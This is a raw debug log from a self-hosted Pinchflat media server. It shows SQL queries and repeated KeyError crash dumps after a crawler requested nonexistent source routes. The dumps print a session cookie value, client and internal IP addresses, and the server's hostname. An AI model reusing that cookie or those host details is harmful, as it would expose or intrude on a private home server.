idle=495.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:48.212 [debug] QUERY OK source="settings" db=0.0ms idle=492.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:48.213 [debug] QUERY OK source="settings" db=0.0ms idle=178.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:48.213 [info] Sent 200 in 1ms 20:33:57.684 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.983 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:34:27.685 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:30.379 [info] GET /media_profiles/1 20:34:30.379 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 20:34:30.379 [info] GET /sources/3/force_metadata_refresh 20:34:30.379 [debug] QUERY OK source="media_profiles" db=0.2ms idle=937.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:34:30.380 [debug] QUERY OK source="settings" db=0.2ms idle=937.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:30.380 [debug] QUERY OK source="settings" db=0.1ms idle=938.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:30.380 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:34:30.380 [debug] QUERY OK source="sources" db=0.2ms idle=938.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 20:34:30.380 [debug] QUERY OK source="settings" db=0.0ms idle=302.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:30.380 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:30.380 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:30.381 [info] Sent 200 in 1ms 20:34:30.380 [error] #PID<0.12779.0> running PinchflatWeb.Endpoint (connection #PID<0.12777.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12777.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49950}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.12779.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.98"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.98"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVUE5OZGlFL2GoABIeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12777.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49950}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12777.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49950}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.12779.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.98"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.98"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp (truncated) 20:34:31.091 [info] GET /sources/2/force_metadata_refresh 20:34:31.091 [debug] QUERY OK source="settings" db=0.1ms idle=711.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:31.091 [debug] QUERY OK source="settings" db=0.0ms idle=711.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:31.091 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:34:31.092 [error] #PID<0.12781.0> running PinchflatWeb.Endpoint (connection #PID<0.12780.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49962}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYU3VTUWM1SkFlTnpEWFpNM1RVSE1GU1pP.rdAiHGwGTWJwTVTXs_6qn9x3oNSY9mHqgkFU2UzHwJk", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYU3VTUWM1SkFlTnpEWFpNM1RVSE1GU1pP.rdAiHGwGTWJwTVTXs_6qn9x3oNSY9mHqgkFU2UzHwJk" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.12781.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYU3VTUWM1SkFlTnpEWFpNM1RVSE1GU1pP.rdAiHGwGTWJwTVTXs_6qn9x3oNSY9mHqgkFU2UzHwJk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYU3VTUWM1SkFlTnpEWFpNM1RVSE1GU1pP.rdAiHGwGTWJwTVTXs_6qn9x3oNSY9mHqgkFU2UzHwJk"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.98"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.98"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVUE74Bn-ZSb1YAAVFD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49962}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYU3VTUWM1SkFlTnpEWFpNM1RVSE1GU1pP.rdAiHGwGTWJwTVTXs_6qn9x3oNSY9mHqgkFU2UzHwJk", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49962}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYU3VTUWM1SkFlTnpEWFpNM1RVSE1GU1pP.rdAiHGwGTWJwTVTXs_6qn9x3oNSY9mHqgkFU2UzHwJk", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYU3VTUWM1SkFlTnpEWFpNM1RVSE1GU1pP.rdAiHGwGTWJwTVTXs_6qn9x3oNSY9mHqgkFU2UzHwJk" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.12781.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session (truncated) 20:34:31.593 [info] GET /sources/1/edit 20:34:31.594 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 20:34:31.594 [debug] QUERY OK source="sources" db=0.1ms idle=514.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:34:31.594 [debug] QUERY OK source="media_profiles" db=0.0ms idle=502.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 20:34:31.594 [debug] QUERY OK source="settings" db=0.0ms idle=502.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:31.594 [debug] QUERY OK source="settings" db=0.0ms idle=152.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:31.595 [debug] QUERY OK source="settings" db=0.1ms idle=153.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:31.595 [info] Sent 200 in 2ms 20:34:57.686 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.984 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:35:19.124 [info] GET /sources/2/force_index 20:35:19.124 [debug] QUERY OK source="settings" db=0.0ms idle=1682.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:19.124 [debug] QUERY OK source="settings" db=0.0ms idle=1682.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:19.124 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:35:19.125 [error] #PID<0.12787.0> running PinchflatWeb.Endpoint (connection #PID<0.12786.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 38422}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.12787.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.98"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.98"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVUHu0CxkaTrzAAAVJD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 38422}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 38422}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.98", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.98" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.12787.0>, 